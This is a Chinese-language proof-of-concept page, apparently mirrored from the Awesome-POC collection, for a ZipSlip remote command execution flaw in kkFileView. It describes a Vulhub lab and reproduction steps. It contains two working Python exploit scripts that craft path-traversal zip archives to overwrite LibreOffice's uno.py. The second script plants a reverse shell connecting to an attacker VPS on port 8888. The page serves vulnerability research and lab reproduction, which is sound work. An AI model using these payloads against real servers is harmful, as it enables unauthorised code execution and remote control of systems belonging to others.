mirror of
https://github.com/Threekiii/Awesome-POC.git
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108 lines
3.6 KiB
Markdown
108 lines
3.6 KiB
Markdown
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# kkFileView ZipSlip 远程命令执行漏洞
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## 漏洞描述
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kkFileView 是使用 Spring Boot 搭建的文档在线预览解决方案，能够支持多种主流办公文档的在线预览，如 doc、docx、xls、xlsx、ppt、pptx、pdf、txt、zip、rar 等格式。此外，还可以预览图片、视频、音频等多种类型的文件。
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在 kkFileView 4.4.0-beta 以前，存在一处 ZipSlip 漏洞。攻击者可以利用该漏洞，向服务器任意目录下写入文件，导致任意命令执行漏洞。
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参考链接：
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- https://github.com/kekingcn/kkFileView/issues/553
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- https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC
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## 披露时间
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```
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2024-04-15
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```
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## 漏洞影响
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```
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v4.2.0 <= kkFileView <= v4.4.0-beta
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个 kkFileView 3.4.0 服务器：
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```
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docker compose up -d
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```
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服务启动后，访问 `http://your-ip:8012` 即可查看到首页。
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## 漏洞复现
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目标在使用 odt 转 pdf 时会调用系统的 Libreoffice，而该进程会调用库中的 `uno.py` 文件，因此可以覆盖 `uno.py` 文件的内容实现 RCE。
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首先，修改 [poc.py](https://github.com/vulhub/vulhub/blob/master/kkfileview/4.3-zipslip-rce/poc.py)：
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```python
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import zipfile
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if __name__ == "__main__":
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try:
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binary1 = b'vulhub'
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binary2 = b"import os\nos.system('touch /tmp/success')\n"
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zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
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# info = zipfile.ZipInfo("test.zip")
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zipFile.writestr("test", binary1)
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zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
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zipFile.close()
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except IOError as e:
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raise e
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```
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执行 `poc.py`，生成 POC 文件，`test.zip` 将被写入当前目录。
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```
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python poc.py
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```
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然后，使用 kkFileView 服务上传 `test.zip`：
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点击 `test.zip` 的“预览”按钮，可以看到 zip 压缩包中的文件列表：
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最后，上传任意一个 odt 文件，例如 [sample.odt](https://github.com/vulhub/vulhub/blob/master/kkfileview/4.3-zipslip-rce/sample.odt)，发起 Libreoffice 任务：
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点击 `sample.odt` 的“预览”按钮，触发代码执行漏洞：
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可见，`touch /tmp/success` 已经成功被执行：
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反弹 shell：
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```python
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import zipfile
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if __name__ == "__main__":
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try:
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binary1 = b'whoami'
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binary2 = b'import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("<your-vps-ip>",8888));os.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call(["/bin/sh","-i"])\n'
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zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED)
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zipFile.writestr("test", binary1)
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zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
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zipFile.close()
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except IOError as e:
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raise e
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```
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## 漏洞修复
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- https://github.com/kekingcn/kkFileView/commit/421a2760d58ccaba4426b5e104938ca06cc49778
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